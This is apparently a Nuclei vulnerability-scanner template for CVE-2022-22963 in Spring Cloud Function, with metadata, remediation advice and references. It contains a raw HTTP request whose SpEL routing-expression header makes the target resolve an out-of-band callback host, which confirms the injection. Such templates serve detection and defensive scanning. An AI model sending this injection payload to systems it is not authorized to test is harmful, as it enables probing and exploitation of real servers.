56 lines
2.1 KiB
YAML
56 lines
2.1 KiB
YAML
id: CVE-2022-22963
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info:
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name: Spring Cloud - Remote Code Execution
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author: Mr-xn,Adam Crosser
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severity: critical
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description: |
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Spring Cloud Function versions 3.1.6, 3.2.2 and older unsupported versions are susceptible to remote code execution vulnerabilities. When using routing functionality it is possible for a user to provide a specially crafted SpEL as a routing-expression that may result in remote code execution and access to local resources.
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remediation: |
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Apply the latest security patches provided by the Spring Cloud project to mitigate this vulnerability.
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reference:
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- https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f
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- https://github.com/cckuailong/spring-cloud-function-SpEL-RCE
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- https://tanzu.vmware.com/security/cve-2022-22963
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- https://nsfocusglobal.com/spring-cloud-function-spel-expression-injection-vulnerability-alert/
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- https://github.com/vulhub/vulhub/tree/scf-spel/spring/spring-cloud-function-spel-injection
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- https://nvd.nist.gov/vuln/detail/CVE-2022-22963
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2022-22963
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cwe-id: CWE-917,CWE-94
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epss-score: 0.97534
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epss-percentile: 0.9999
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cpe: cpe:2.3:a:vmware:spring_cloud_function:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: vmware
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product: spring_cloud_function
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tags: vulhub,cve,cve2022,springcloud,rce,kev
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http:
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- raw:
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- |
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POST /functionRouter HTTP/1.1
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Host: {{Hostname}}
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spring.cloud.function.routing-expression: T(java.net.InetAddress).getByName("{{interactsh-url}}")
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Content-Type: application/x-www-form-urlencoded
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{{rand_base(8)}}
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol
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words:
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- "http"
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- "dns"
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condition: or
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- type: status
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status:
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- 500
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# digest: 490a0046304402205d0f9438a387c0ab2ea6db36a304831274ee6c9e9928078d41e7d0c18d486c6002202a642902c548d36befc29bf234cd3d48067a15011a17c15409087c1cc3ba26a8:922c64590222798bb761d5b6d8e72950
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